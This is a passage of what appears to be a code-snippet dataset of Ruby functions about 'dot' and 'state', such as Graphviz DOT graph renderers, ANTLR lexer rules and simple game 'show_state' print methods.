dot_opts\n\n hide_decomposition = dot_opts.delete(:hide_decomposition)\n stream.puts \" // hide_decomposition = #{hide_decomposition.inspect}\"\n\n if (hs = options[:highlight_states]) && hs.include?(s)\n dot_opts[:style] += ',bold'\n end\n\n unless sequence.empty?\n if options[:highlight_state_history] && (s.submachine ? hide_decomposition : true)\n dot_opts[:fillcolor] = :grey\n end\n if options[:show_state_sequence] \n dot_opts[:label] += \"\\\\n(#{sequence_to_s(sequence)})\\\\r\"\n end\n else\n if options[:highlight_state_label_history]\n dot_opts[:fontcolor] = :grey\n end\n if options[:highlight_state_border_history]\n dot_opts[:color] = :grey\n end\n end\n\n dot_opts[:color] ||= :black\n dot_opts[:fontcolor] ||= :black\n dot_opts[:fillcolor] ||= :white\n\n # Dont label FinalStates, it causes too much clutter.\n # Invert the colors to be more like UML.\n case\n when s.end_state?\n dot_opts[:label] = \"\" \n dot_opts[:fillcolor], dot_opts[:fontcolor] =\n dot_opts[:fontcolor], dot_opts[:fillcolor]\n end\n\n if ssm = s.submachine\n # Composite States are rendered as\n # a subgraph cluster with a target and source \"connection point\" for external connections.\n # This is where the dot_name(s, :source || :target) is defined.\n # Subsequence Transitions edges will used these connnection points.\n implicit_dot_opts = dot_opts.dup\n dot_opts[:hide_decomposition] = hide_decomposition\n render_StateMachine(ssm, dot_opts) do\n dot_opts = implicit_dot_opts\n dot_opts[:shape] = :point\n dot_opts[:label] = \"[]\"\n\n stream.puts %Q'\\n subgraph cluster_#{dot_name(s, :source)} {'\n stream.puts %Q{ color=none;}\n stream.puts %Q{ fillcolor=none;}\n stream.puts %Q{ fontcolor=none;}\n stream.puts %Q{ label=\"\";}\n stream.puts %Q{ shape=\"plaintext\";}\n stream.puts %Q{ style=\"none\";}\n\n dot_opts[:color] = :black\n dot_opts[:fillcolor] = :black\n stream.puts \"\\n// Implicit target point for State #{s.to_s}\"\n stream.puts %Q{ node [ #{render_opts(dot_opts)} ] #{dot_name(s, :target)};}\n\n dot_opts[:color] = :black\n dot_opts[:fillcolor] = :white\n stream.puts \"\\n// Implicit source point for State #{s.to_s}\"\n stream.puts %Q{ node [ #{render_opts(dot_opts)} ] #{dot_name(s, :source)};}\n stream.puts \"\\n }\\n\"\n end\n return self\n end\n\n # Non-composite States are rendered as simple nodes.\n # In this case dot_name(s, :source || :target) == dot_name(s).\n dot_opts[:style] += ',rounded'\n stream.puts %Q{ node [ #{render_opts(dot_opts)} ] #{dot_name(s, [:source, :target])};}\n\n return self\n end", "def dot!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 44 )\n\n\n\n type = DOT\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 65:6: '.'\n match( 0x2e )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 44 )\n\n\n end", "def dot\n print \".\"\n $stdout.flush\n end", "def do_dot\n message = pop\n object = pop\n\n\t\t# defer error handling for now\n\t\tcase object[:type]\n when :integer\n m = message[:value]\n\t\t\t@integer_msgs[m].call( object )\n when :string\n # ditto :integer\n when :frame # user defined object\n\t\t\t@fstack.push( object )\n\t\t\t# evaluate message in context of frame\n\n\t\t\tquote = Quote.new\n\t\t\tcase message[:type]\n when :quote\n\t\t\t quote.tree = message\n\t\t\t self.dot( quote )\n when :symbol\n # usr re-write rule: frame symbol . --> frame [ symbol # ] .\n\t\t\t\tquote.tree = { \n\t\t\t\t type: :quote,\n\t\t\t\t value: [ message, { type: :eval, value: \"#\" } ]\n\t\t\t\t}\n\n\t\t\t self.dot( quote )\n end\n\n\t\t\t@fstack.pop\n else\n # error\n end\n end", "def dot!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 44 )\n\n type = DOT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 369:7: '.'\n match( 0x2e )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 44 )\n\n end", "def dot!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 55 )\n\n type = DOT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 176:7: '.'\n match( 0x2e )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 55 )\n\n end", "def dot!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 20 )\n\n type = DOT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 154:7: '.'\n match( 0x2e )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 20 )\n\n end", "def dot\n s = \"digraph query {\\n\"\n @operators.each { |op| \n desc = op.attributes.inspect.gsub(\"\\\"\", \"\\\\\\\"\")\n label = \"[#{op.index}] #{op.name}\"\n if op.performanceData\n duration = (op.performanceData[\"endTime\"] - op.performanceData[\"startTime\"]).to_f\n label += \" (#{duration} ms)\"\n end\n s += \" #{op.index} [label=\\\"#{label}\\n #{desc}\\\", shape=box];\\n\"\n op.dependencies.each { |dep|\n s += \" #{dep.index} -> #{op.index};\\n\"\n }\n } \n s += \"}\\n\"\n end", "def get_dot(start_state)\n if ((start_state).nil?)\n return nil\n end\n # The output DOT graph for visualization\n dot = nil\n @marked_states = HashSet.new\n if (start_state.is_a?(DFAState))\n dot = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/dfa\")\n dot.set_attribute(\"startState\", Utils.integer(start_state.attr_state_number))\n dot.set_attribute(\"useBox\", Boolean.value_of(Tool.attr_internal_option_show_nfaconfigs_in_dfa))\n walk_creating_dfadot(dot, start_state)\n else\n dot = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/nfa\")\n dot.set_attribute(\"startState\", Utils.integer(start_state.attr_state_number))\n walk_rule_nfacreating_dot(dot, start_state)\n end\n dot.set_attribute(\"rankdir\", @rankdir)\n return dot.to_s\n end", "def dot(&block)\n ext(Rule.for(DOT), block)\n end", "def to_dot(opts={})\n\n s = [ \"digraph \\\"process wfid #{wfid}\\\" {\" ]\n @expressions.each { |e| s.push(*e.send(:to_dot, opts)) }\n @errors.each { |e| s.push(*e.send(:to_dot, opts)) }\n s << '}'\n\n s.join(\"\\n\")\n end", "def lex_en_expr_dot; end", "def lex_en_expr_dot; end", "def lex_en_expr_dot; end", "def dot\n RGL::DOT::Graph.new('elements' => dot_edges).to_s\n end", "def to_dot(include_starred_states = false)\n all_states = transitions.values.map(&:to_a).flatten.uniq.reject { |t| t == \"*\" }\n\n \"\".tap do |s|\n s << \"digraph #{self.class.name.inspect} {\\n\"\n transitions.each do |signal, signal_transitions|\n signal_transitions.each do |from, to|\n next if !include_starred_states && (from == \"*\" || to == \"*\")\n\n from = from == \"*\" ? all_states : [from]\n to = to == \"*\" ? all_states : [to]\n from.product(to).each { |f, t| s << \" #{f} -> #{t} [ label=\\\"#{signal}\\\" ]\\n\" }\n end\n end\n s << \"}\\n\"\n end\n end", "def to_dot\n Dot::Digraph.new(:fontsize => 10, :shape => :box, :size => 5) do |g|\n parse_tree.to_dot(g)\n end.to_dot\n end", "def to_dot\n i = 0\n dot = [\"digraph G {\", \"#{i} [label=\\\"self\\\"];\"]\n _to_dot(dot, \"\", i, self, i)\n dot << \"}\"\n dot.join(\"\\n\")\n end", "def dot_code(io)\n # puts \"drawing record\"\n props\n portinfos = get_port_nodes.map do |n|\n OpenStruct.new(name: n.node_name,\n label: MFactor::dot_escape(n.dot_label)+(n.symbol ? \"(#{n.symbol})\":\"\"))\n end\n label= '\"{{'\n label << (portinfos.map do |p|\n \"<#{p.name}> #{p.label}\"\n end.join(\" | \"))\n label << '}}\"'\n attrs={:label => label}\n attr_string=attrs.map do |k,v|\n \"#{k.to_s}=#{v}\"\n end.join(\", \")\n io << node_name << ' ' << '[' << attr_string << \"]\\n\"\n end", "def do_dot s; a = mega_pop(s); String == a.class ? s[:output] << \"#{a.ord} \" : s[:output] << \"#{a} \" end", "def dot(io)\n log \"drawing graph \"\n io << <<END\ndigraph test_definition {\ngraph [ rankdir=TB ]\nnode [shape=record,fontname=helvetica]\nedge [fontname=helvetica, arrowsize=0.5]\nEND\n # nodes,transitions = collect_nodes\n # transitions.to_a.flatten.to_set.each do |n|\n @nodes.each do |n|\n next if n.record # if we are a port, skip, record handles drawing\n if n.is_record? # if we are a record, call specialized function\n n.dot_code(io)\n else\n label_sym = (n.is_a?(JoinNode) ? :xlabel : :label)\n attrs={label_sym => '\"'+n.dot_label+'\"'}\n # if n.symbol\n # attrs[:xlabel]=n.symbol\n # end\n if n.respond_to? :dot_node_shape\n attrs[:shape]='\"'+n.dot_node_shape+'\"'\n end\n attr_string=attrs.map do |k,v|\n \"#{k.to_s}=#{v}\"\n end.join(\", \")\n io.puts \"#{n.node_name} [#{attr_string}]\"\n end\n end\n @control_edges.each do |s,d,label|\n log \"adding control edge: [#{s},#{d},#{label}]\"\n attrs={color:\"red\",fontcolor:\"red\"}\n attrs[:label] = '\"'+label.to_s+'\"' if label\n draw_transition(s,d,io,attrs)\n end\n @data_edges.each do |s,d|\n log \"adding data edge\"\n draw_transition(s,d,io,{color: \"green\"})\n end\n io.puts \"}\"\n self\n end", "def lex_en_expr_dot=(_arg0); end", "def lex_en_expr_dot=(_arg0); end", "def lex_en_expr_dot=(_arg0); end", "def show_state\n\t\tputs \"#{@name} a #{@life_points} points de vie.\"\n\tend", "def doubledot!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 15 )\n\n\n\n type = DOUBLEDOT\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 313:4: ':'\n match( 0x3a )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 15 )\n\n\n end", "def show_state\n return \"#{@name} a #{@life_points} points de vie\"\n end", "def show_state\n puts \"#{@name} a #{@life_points} de vie\"\n end", "def show_state\n puts \"#{@name} a #{@life_points} de PV\"\n end", "def dot( quote )\n\t\tquote.tree[:value].each { |e|\n case e[:type]\n when :binding\n do_binding\n when :bind_constant\n do_bind_constant\n when :eval\n do_eval\n when :bang\n\t\t\t\truby = pop[:value]\n\t\t\t\tself.bang( ruby )\n when :dot\n do_dot\n when :dup\n do_dup\n\t\t\twhen :symbol\n\t v = @fstack.get( e[:value] )\n\t\t\t\tif ( v.class == Hash ) and ( v[:type] == :constant ) then\n\t\t\t\t\tpush( v[:value] )\n\t\t\t\telse\n push( e )\n end\n else\n push( e )\n end\n\t\t}\n end", "def show_state\n \tputs \"#{@name} a #{life_points} points de vie\"\n end", "def print_state(machine)\n puts \"[#{machine[:stack]}, #{machine[:register]}]\"\nend", "def show_state\n puts \"#{@name} a #{@life_points} points de vie.\"\n end", "def to_s\n \"state: #{@symbol} (options=#{options})\"\n end", "def show_state\n puts \"#{@name} a #{@life_points} points de vie\"\n end", "def to_dot(graph)\n graph.node(self, :label => token)\n end", "def show_state\n\t\treturn \"#{self.name} a #{self.life_points} points de vie.\"\n\tend", "def show_state\n\t\tputs \"#{self.name} a #{self.life_points} points de vie et une arme de niveau #{self.weapon_level}.\"\n\tend", "def walk_rule_nfacreating_dot(dot, s)\n if (@marked_states.contains(s))\n return # already visited this node\n end\n @marked_states.add(s) # mark this node as completed.\n # first add this node\n state_st = nil\n if (s.is_accept_state)\n state_st = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/stopstate\")\n else\n state_st = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/state\")\n end\n state_st.set_attribute(\"name\", get_state_label(s))\n dot.set_attribute(\"states\", state_st)\n if (s.is_accept_state)\n return # don't go past end of rule node to the follow states\n end\n # special case: if decision point, then line up the alt start states\n # unless it's an end of block\n if ((s).is_decision_state)\n n = (s).attr_associated_astnode\n if (!(n).nil? && !(n.get_type).equal?(ANTLRParser::EOB))\n rank_st = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/decision-rank\")\n alt = s\n while (!(alt).nil?)\n rank_st.set_attribute(\"states\", get_state_label(alt))\n if (!(alt.attr_transition[1]).nil?)\n alt = alt.attr_transition[1].attr_target\n else\n alt = nil\n end\n end\n dot.set_attribute(\"decisionRanks\", rank_st)\n end\n end\n # make a DOT edge for each transition\n edge_st = nil\n i = 0\n while i < s.get_number_of_transitions\n edge = s.transition(i)\n if (edge.is_a?(RuleClosureTransition))\n rr = (edge)\n # don't jump to other rules, but display edge to follow node\n edge_st = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/edge\")\n if (!(rr.attr_rule.attr_grammar).equal?(@grammar))\n edge_st.set_attribute(\"label\", \"<\" + RJava.cast_to_string(rr.attr_rule.attr_grammar.attr_name) + \".\" + RJava.cast_to_string(rr.attr_rule.attr_name) + \">\")\n else\n edge_st.set_attribute(\"label\", \"<\" + RJava.cast_to_string(rr.attr_rule.attr_name) + \">\")\n end\n edge_st.set_attribute(\"src\", get_state_label(s))\n edge_st.set_attribute(\"target\", get_state_label(rr.attr_follow_state))\n edge_st.set_attribute(\"arrowhead\", @arrowhead)\n dot.set_attribute(\"edges\", edge_st)\n walk_rule_nfacreating_dot(dot, rr.attr_follow_state)\n i += 1\n next\n end\n if (edge.is_action)\n edge_st = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/action-edge\")\n else\n if (edge.is_epsilon)\n edge_st = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/epsilon-edge\")\n else\n edge_st = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/edge\")\n end\n end\n edge_st.set_attribute(\"label\", get_edge_label(edge))\n edge_st.set_attribute(\"src\", get_state_label(s))\n edge_st.set_attribute(\"target\", get_state_label(edge.attr_target))\n edge_st.set_attribute(\"arrowhead\", @arrowhead)\n dot.set_attribute(\"edges\", edge_st)\n walk_rule_nfacreating_dot(dot, edge.attr_target) # keep walkin'\n i += 1\n end\n end", "def show_state\r\n puts \"#{@name} à #{@life_points} points de vie\"\r\n end", "def show_state\n puts \"#{@name} à #{@life_points} points de vie\"\n end", "def show_state\n puts \"#{name} a #{life_points} points de vie!\"\n end", "def show_state\n puts \"#{@names} a #{@life_points} points de vie et une arme de niveau #{@weapon_level}\"\n end", "def show_state \n puts \"#{@name} a #{@life_points} points de vie.\"\n end", "def show_state\n puts \"#{self.name} a #{self.life_points} points de vie.\"\n end", "def show_state\n puts \"#{@name} a #{@life_points} points de vie et une arme de niveau #{@weapon_level}\"\n end", "def show_state\n\t\tputs \"#{@name} a #{life_points} de points de vie et une arme de niveau #{weapon_level}\"\n\tend", "def to_dot (params={}) to_dot_graph(params).to_s; end", "def to_dot (params={}) to_dot_graph(params).to_s; end", "def show_state\n puts \"#{name} a #{life_points} points de vie !!\"\n end", "def show_state\r\n puts \"#{@name} à #{@life_points} points de vie et une arme de niveau #{@weapon_level}\"\r\n end", "def show_state \n puts \"#{@name} à #{@life_points} points de vie\"\n end", "def show_state \n puts \"#{@name} a #{@life_points} points de vie et une arme au niveau #{@weapon_level}.\"\n end", "def show_state\n puts \"#{name} à #{life_points} points de vie\"\n end", "def dependency_in_dot\n result = \"\"\n result << \"digraph recipes {\\n\"\n result << \" rankdir=LR;\\n\"\n result << _dependency_in_dot\n result << \"}\"\n\n result\n end", "def dfa2dot(dfa)\n str = \"digraph {\\n\"\n str += \"size=\\\"2,2\\\"\\nratio=1.0\\n\"\n str += \"node [shape=circle]\\n\"\n str += \"preinit [shape=plaintext, label=\\\"\\\"]\\n\"\n (dfa.states - dfa.final_states).each do |state|\n str += state + \"\\n\"\n end\n str += \"node [shape=doublecircle]\\n\"\n dfa.final_states.each do |state|\n str += state + \"\\n\"\n end\n str += \"preinit -> #{dfa.initial_state}\\n\"\n dfa.states.each do |s1|\n dfa.states.each do |s2|\n res = dfa.transitions.find_all { |tr| tr[0] == s1 and tr[1] == s2 }\n unless res.empty?\n label = res.map { |tr| tr[2] }.join(',')\n str += s1 + \"->\" + s2 + \"[label=\\\"#{label}\\\"]\\n\"\n end\n end\n end\n \n str + \"}\"\n end", "def show_state\n return \"#{@name} a #{life_points} points de vie et une amre de niveau #{weapon_level}\"\n end", "def ddot!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 37 )\n\n\n\n type = DDOT\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 58:7: ':'\n match( 0x3a )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 37 )\n\n\n end", "def show_state\n puts \"#{self.name} a #{self.life_points} points de vie et son arme est de niveau #{self.weapon_level}.\"\n end", "def show_state\n puts \"#{names} a #{life_points} points de vie\"\n end", "def _to_dot(dot, l, c, e, i)\n i += 1\n dot << \"#{c} -> #{i} [label=\\\"#{l}\\\"];\" if l\n c = i\n case e\n when LiteralString\n dot << \"#{i} [label=\\\"#{e.inspect.gsub('\"', '\\\\\"')}.lit\\\"];\"\n i\n when Symbol, Numeric, String, Class, TrueClass, FalseClass, NilClass\n dot << \"#{i} [label=\\\"#{e.inspect.gsub('\"', '\\\\\"')}\\\"];\"\n i\n when Array\n dot << \"#{i} [label=\\\"Array\\\"];\"\n e.each_with_index do |v, j|\n i = _to_dot(dot, j, c, v, i)\n end\n when Hash\n dot << \"#{i} [label=\\\"Hash\\\"];\"\n e.each do |k, v|\n i = _to_dot(dot, k, c, v, i)\n end\n when SQL::ComplexExpression \n dot << \"#{i} [label=\\\"ComplexExpression: #{e.op}\\\"];\"\n e.args.each_with_index do |v, j|\n i = _to_dot(dot, j, c, v, i)\n end\n when SQL::Identifier\n dot << \"#{i} [label=\\\"Identifier\\\"];\"\n i = _to_dot(dot, :value, c, e.value, i)\n when SQL::QualifiedIdentifier\n dot << \"#{i} [label=\\\"QualifiedIdentifier\\\"];\"\n i = _to_dot(dot, :table, c, e.table, i)\n i = _to_dot(dot, :column, c, e.column, i)\n when SQL::OrderedExpression\n dot << \"#{i} [label=\\\"OrderedExpression: #{e.descending ? :DESC : :ASC}#{\" NULLS #{e.nulls.to_s.upcase}\" if e.nulls}\\\"];\"\n i = _to_dot(dot, :expression, c, e.expression, i)\n when SQL::AliasedExpression\n dot << \"#{i} [label=\\\"AliasedExpression\\\"];\"\n i = _to_dot(dot, :expression, c, e.expression, i)\n i = _to_dot(dot, :alias, c, e.aliaz, i)\n when SQL::CaseExpression\n dot << \"#{i} [label=\\\"CaseExpression\\\"];\"\n i = _to_dot(dot, :expression, c, e.expression, i) if e.expression\n i = _to_dot(dot, :conditions, c, e.conditions, i)\n i = _to_dot(dot, :default, c, e.default, i)\n when SQL::Cast\n dot << \"#{i} [label=\\\"Cast\\\"];\"\n i = _to_dot(dot, :expr, c, e.expr, i)\n i = _to_dot(dot, :type, c, e.type, i)\n when SQL::Function\n dot << \"#{i} [label=\\\"Function: #{e.f}\\\"];\"\n e.args.each_with_index do |v, j|\n i = _to_dot(dot, j, c, v, i)\n end\n when SQL::Subscript \n dot << \"#{i} [label=\\\"Subscript: #{e.f}\\\"];\"\n i = _to_dot(dot, :f, c, e.f, i)\n i = _to_dot(dot, :sub, c, e.sub, i)\n when SQL::WindowFunction\n dot << \"#{i} [label=\\\"WindowFunction\\\"];\"\n i = _to_dot(dot, :function, c, e.function, i)\n i = _to_dot(dot, :window, c, e.window, i)\n when SQL::Window\n dot << \"#{i} [label=\\\"Window\\\"];\"\n i = _to_dot(dot, :opts, c, e.opts, i)\n when SQL::PlaceholderLiteralString\n str = e.str\n str = \"(#{str})\" if e.parens\n dot << \"#{i} [label=\\\"PlaceholderLiteralString: #{str.inspect.gsub('\"', '\\\\\"')}\\\"];\"\n i = _to_dot(dot, :args, c, e.args, i)\n when SQL::JoinClause\n str = \"#{e.join_type.to_s.upcase} JOIN\"\n if e.is_a?(SQL::JoinOnClause)\n str << \" ON\"\n elsif e.is_a?(SQL::JoinUsingClause)\n str << \" USING\"\n end\n dot << \"#{i} [label=\\\"#{str}\\\"];\"\n i = _to_dot(dot, :table, c, e.table, i)\n i = _to_dot(dot, :alias, c, e.table_alias, i) if e.table_alias\n if e.is_a?(SQL::JoinOnClause)\n i = _to_dot(dot, :on, c, e.on, i)\n elsif e.is_a?(SQL::JoinUsingClause)\n i = _to_dot(dot, :using, c, e.using, i)\n end\n when Dataset\n dot << \"#{i} [label=\\\"Dataset\\\"];\"\n TO_DOT_OPTIONS.each do |k|\n next unless e.opts[k]\n i = _to_dot(dot, k, c, e.opts[k], i)\n end\n else\n dot << \"#{i} [label=\\\"Unhandled: #{e.inspect.gsub('\"', \"''\")}\\\"];\"\n end\n i\n end", "def to_dot(**options) = convert_to('dot', **options)", "def to_dot\n template = <<-eos\ndigraph \"<%= uid || 'graph' %>\" {\n node[ style = \"filled, solid\"];\n<% each_task do |task| -%>\n<% next unless task.name =~ dot_task_filter if dot_task_filter -%>\n<% next unless task.node.name =~ dot_node_filter if dot_node_filter and task.node -%>\n \"<%= task %>\" [label = \"<%= task %>\", fillcolor = \"<%= task.color %>\"];\n<% end -%>\n\n<% each_task do |task| -%>\n<% task.each_forward_dependency do |forward_task| -%>\n<% next unless task.name =~ dot_task_filter if dot_task_filter -%>\n<% next unless task.node.name =~ dot_node_filter if dot_node_filter and task.node -%>\n<% next unless forward_task.name =~ dot_task_filter if dot_task_filter -%>\n<% next unless forward_task.node.name =~ dot_node_filter if dot_node_filter and forward_task.node -%>\n \"<%= task %>\" -> \"<%= forward_task %>\";\n<% end -%>\n<% end -%>\n}\n eos\n ERB.new(template, nil, '-').result(binding)\n end", "def lex_en_leading_dot=(_arg0); end", "def lex_en_leading_dot=(_arg0); end", "def lex_en_leading_dot=(_arg0); end", "def render x = @stateMachine\n case x\n when Machine\n @machine = x\n options[:history] ||= \n x.history\n options[:highlight_states] ||= \n [ x.state ].compact\n options[:highlight_transitions] ||= \n (\n x.transition_queue.map{|e| e.first} << \n x.transition\n ).compact\n render x.stateMachine\n when StateMachine\n render_root x\n when State\n render_State x\n when Transition\n render_Transition x\n else\n raise ArgumentError, x.inspect\n end\n end", "def dot_label x\n @dot_label[x] ||=\n _dot_label x\n end", "def show_state\n puts \"#{@name} has #{@life_points} life points\"\n end", "def dotify(h)\n h.use_dot_syntax = true; h.keys.each{|k| dotify(h[k]) if h[k].is_a?(::Hash)}\n end", "def display ( )\n puts 'Parser states: ' + @states.size.to_s\n\n @states.each do |st|\n\tputs\n\tputs '*' * 80\n\tputs 'state: ' + st.statename\n\tputs 'branches: '\n\tst.branches.each do |br|\n\t puts ' ' + @states[br].statename\n\tend\n end\n end", "def display_word_state\n @word_state.join(\" \")\n end", "def echo_state(state)\n if String.disable_colorization\n case state\n when 'running' then '+ ' \n when 'stopped' then '- '\n when 'terminated' then 'X '\n when 'pending' then 'O '\n when 'shutting-down' then '\\\\_'\n when 'stopping' then '~-'\n else '??'\n end\n else\n case state\n when 'running' then '✅ ' \n when 'stopped' then '❙❙'\n when 'terminated' then '⚫ '\n when 'pending' then '⚪ '\n when 'shutting-down' then '♺ '\n when 'stopping' then '⌛ '\n else '??'\n end\n end\nend", "def show\n \"$#{total} #{@state[0]} #{@state[1]} #{@state[2]} #{@state[3]} #{@state[4]}\"\n end", "def to_dot_label(binding_)\n template_path = File.expand_path(\"callback.dothtml.erb\", __dir__)\n erb = ERB.new(File.read(template_path))\n erb.filename = template_path\n erb.result(binding)\n end", "def to_call_dot(filename)\n basename = File.basename(filename, \".dot\")\n basename=basename+\".ps\"\n \n dot_command1=\"dot -Tps \"+(filename)+ \" -o \"+basename\n system(dot_command1)\n end", "def state_machine_details\n erb(:state_machines) if state_machines\nend", "def dots(options = nil, &block)\n (options ||= {})[:class] = \"dropdown dropdown-dots #{options.delete(:class)}\".strip\n\n content_tag(:div, options) do\n content_tag(:button, class: \"btn btn-dots dropdown-toggle #{options.delete(:button_class)}\", 'aria-expanded': true, 'aria-haspopup': true, 'data-toggle': 'dropdown', type: 'button') do\n end + content_tag(:div, capture(&block), class: 'dropdown-menu')\n end\n end", "def lex_en_leading_dot; end", "def lex_en_leading_dot; end", "def lex_en_leading_dot; end", "def dottify\n self.gsub(/[^[:print:]]/, \".\")\n end", "def dot_label x, opts = EMPTY_HASH\n @dot_label[[x, opts]] ||=\n case x\n when Cabar::Component\n # * name and version\n # * directory\n # * facets (optional)\n str = ''\n\n if show_component_name\n str << \"#{x.name}\"\n else\n str << \"#\"\n end\n\n if show_component_version\n str << \"/#{x.version}\" if opts[:version] != false\n end\n\n if show_component_directory\n dir = x.directory.to_s.sub(/^#{@current_directory}/, './')\n str << \"\\n#{dir}\"\n end\n\n if show_facet_names && opts[:show_facet_names] != false\n str << \"\\n\"\n # <- <<exported facet name>>\n x.provides.\n map{|f| f.key.to_s}.\n sort.\n each{|f| str << \"<- #{f}\\\\l\"}\n\n # <* <<plugin name>>\n x.plugins.\n map{|p| p.name}.\n sort.\n map{|p| p.sub(/\\/.*$/, '/*')}.\n uniq.\n each{|p| str << \"<* #{p}\\\\l\"}\n end\n # '\"' + str + '\"'\n str\n when Cabar::Facet::RequiredComponent\n # Use the version requirement.\n show_dependency_constraint ?\n (x._proto ? x.version.to_s : x.key.to_s) :\n EMPTY_STRING\n when Cabar::Facet\n # Use the facet name.\n x.key.to_s\n else\n x.to_s\n end\n end", "def to_dot\n dfa = to_cdfa\n dfa.depth\n dfa.order_states{|s,t| s[:depth] <=> t[:depth]}\n dfa.to_dot\n end", "def to_s\n\t\tputs(\"States: #{@states}\")\n\t\tputs(\"Input Symbols: #{@input_symbols}\")\n\t\tputs(\"Output_symbols: #{@output_symbols}\")\n\t\tputs(\"Left Marker: #{@left_marker}\")\n\t\tputs(\"Blank Symbol: #{@blank_symbol}\")\n\t\tputs(\"Start State: #{@start_state}\")\n\t\tputs(\"Accept State: #{@accept_state}\")\n\t\tputs(\"Reject State: #{@reject_state}\")\n\t\tputs(\"Function Map: #{@function_map}\")\n\t\treturn \"\"\n\tend", "def describe_state(state)\n $states[state.to_sym].last.join(' ,')\nend", "def [](key)\n raise InvalidDot unless @@dots.keys.include? key.to_s\n dot = @@dots[key.to_s]\n dot.respond_to?(:call) ? dot.call : dot\n end", "def to_dot graph\n graph.node(self, :label => production)\n child_nodes.each do |child|\n graph.edge(self, child)\n child.to_dot(graph)\n end\n end", "def state_sym\n return self.state.to_s.gsub(/_state$/, '').to_sym\n end", "def to_dot(*attrs, &block)\n d = \"#{'di' if @directed}graph G {\\n\"\n d << attrs.collect { |a| \" #{a};\\n\"}.join\n @nodes.each { |n| \n d << \" \\\"#{nid(n)}\\\" [#{nodeparams(n)}];\\n\"}\n @links.sort_by { |k,l| l.weight }.each { |k,l| d << l.to_dot(&block) }\n d << \"}\\n\"\n end", "def render\n # need to return the following like this\n # 1) font_size as font-size \n # 2) dot_size as dot-size\n # 3) outline_colour as outline-colour\n # 4) halo_size as halo-size\n # 5) start_angle as start-angle\n # 6) tick_height as tick-height\n # 7) grid_colour as grid-colour\n # 8) threed as 3d\n # 9) tick_length as tick-length\n # 10) visible_steps as visible-steps\n # 11) key_on_click as key-on-click\n returning self.to_json do |output|\n output.gsub!(\"threed\",\"3d\")\n output.gsub!(\"default_dot_style\",\"dot_style\")\n %w(solid_dot font_size dot_size outline_colour halo_size start_angle tick_height grid_colour tick_length no_labels label_colour gradient_fill fill_alpha on_click spoke_labels visible_steps key_on_click dot_style hollow_dot).each do |replace|\n output.gsub!(replace, replace.gsub(\"_\", \"-\"))\n end\n end\n end", "def dotty (params = {}, dotfile = 'graph.dot')\n File.open(dotfile, 'w') {|f| f << to_dot(params) }\n system('dotty', dotfile)\n end", "def dotty (params = {}, dotfile = 'graph.dot')\n File.open(dotfile, 'w') {|f| f << to_dot(params) }\n system('dotty', dotfile)\n end", "def dot_name x, opts = EMPTY_HASH\n @dot_name[[ x, opts ]] ||=\n case x\n when Cabar::Component\n prefix = EMPTY_STRING\n if opts[:subgraph]\n opts[:version] = false\n prefix = \"cluster_\"\n end\n\n prefix +\n case opts[:version]\n when false\n \"c #{x.name}\"\n else\n \"c #{x.name} #{x.version}\"\n end\n when Cabar::Facet\n \"f #{x.key}\"\n else\n \"x #{x}\"\n end.\n # sub(/([a-z]+) (.*)/i){|| \"#{$1}_#{$2.hash}\"}.\n gsub(/[^a-z_0-9]/i, '_') \n end", "def set_dot\n @dot = @map.dots.includes(:user, :map).find(params[:id])\n end", "def show_state\n return puts \"#{super} et une arme de niveau \\\"#{@weapon_level}\\\"\"\n end", "def to_dot(opts)\n\n i = fei()\n\n label = \"#{[ i.wfid, i.subid, i.expid].join(' ')} #{tree.first}\"\n label += \" (#{h.state})\" if h.state\n\n a = []\n a << \"\\\"#{i.to_storage_id}\\\" [ label=\\\"#{label}\\\" ];\"\n\n # parent\n\n if h.parent_id\n a << \"\\\"#{i.to_storage_id}\\\" -> \\\"#{parent_id.to_storage_id}\\\";\"\n end\n\n # children\n\n h.children.each do |cfei|\n a << \"\\\"#{i.to_storage_id}\\\" -> \\\"#{Ruote.to_storage_id(cfei)}\\\";\"\n end\n\n a\n end", "def render( render_state )\n\t\traw = super\n\t\tbuf = String.new( '' )\n\t\tPP.pp( raw, buf )\n\t\treturn self.escape( buf.chomp, render_state )\n\tend" ]
